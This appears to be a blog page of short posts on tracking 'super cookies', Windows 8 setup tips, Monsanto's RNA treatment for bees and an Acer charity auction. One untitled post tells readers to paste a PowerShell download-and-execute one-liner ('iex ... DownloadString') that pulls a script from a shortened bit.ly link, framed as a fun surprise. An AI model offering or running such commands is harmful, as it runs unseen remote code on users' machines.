Google and Microsoft had announced their intentions to create the new super “cookies” that can track us across every internet-connected device, and it should be no surprise if other giants such as Facebook and Apple aren’t also working on their own super cookies.
Read on…Extreme Tech
It is just a matter of time, you’ll need to replace your computer(s). And if you do happen upon and/or purchase a Windows 8 system, be sure to follow these 5 simple steps:
1. Create a Microsoft account FIRST before you boot up the new computer – Sign up here (If you use Hotmail, SkyDrive, Xbox LIVE, you already have an account) (sure, you can setup your new computer with any ole email but I highly recommend that you use a Microsoft account)
2. Be sure to have an internet connection available and use that Microsoft account to “register”/ “Log in” to your new Windows 8.X computer.
3. Get IObit’s Start Menu 8. It comes in handy when you need a real START menu.
4. UPDATE<UPDATE<UPDATE! Windows always has updates on a new system. Make sure you let it run and get updated before you start your tinkering.
5. Take a few necessary moments and read this end user training brochure provided by Microsoft. It will be worth the read and you will understand how this new operating system works.
1. Open a regular PowerShell screen. (On Windows 8.1, you can simply press Win+X and choose PowerShell right from the menu). If you are on Windows 7 or 8, you can press Winkey, type “powershell”, and choose it from the list.
2. Run the following cmdlet. You can copy and paste the code in by right-click inside the PowerShell screen so that you don’t have to re-type it:
iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w")
3. Turn up the volume, sit back, and enjoy.

The continuing drama of those poor honeybees, or the slow demise of them, has Monsanto looking to help. (Monsanto Company is a leading producer of genetically engineered (GE) seed and of the herbicide glyphosate, which it markets under the Roundup brand)
In 2011 Monsanto, bought an Israeli company called Beeologics, which had developed an RNA interference technology that can be fed to bees through sugar water. The idea is that when a nurse bee spits this sugar water into each cell of a honeycomb where a queen bee has laid an egg, the resulting larvae will consume the RNA interference treatment. With the right sequence in the interfering RNA, the treatment will be harmless to the larvae, but when a mite feeds on it, the pest will ingest its own self-destruct signal.
Self-destruct signal? Really?
According to a comprehensive federal study, the devastation of American honeybee colonies is the result of a complex stew of factors, including pesticides, parasites, poor nutrition and a lack of genetic diversity.
RNA interference technology… another name for another pesticide. Monsanto wins, bees lose.
Acer and Paramount Pictures partnered in the creation of a very exclusive edition of the revolutionary touch-enabled Notebook, the Aspire R7. Twenty five (25) units of this Limited Edition notebook have been produced but never made available to the public…until now.
ONE, and ONLY ONE, will be auctioned on eBay as part of a unique charity auction! The net proceeds from the auctions will benefit these two deserving charitable organizations: The Mission Continues and Save the Children.
The notebook itself rocks a 15.6-inch Full HD 1080p touchscreen display, Core i5 processor (Ivy Bridge), 500GB hard drive + 24GB SSD, and Windows 8.
The bidding begins June 14 and runs through June 24.
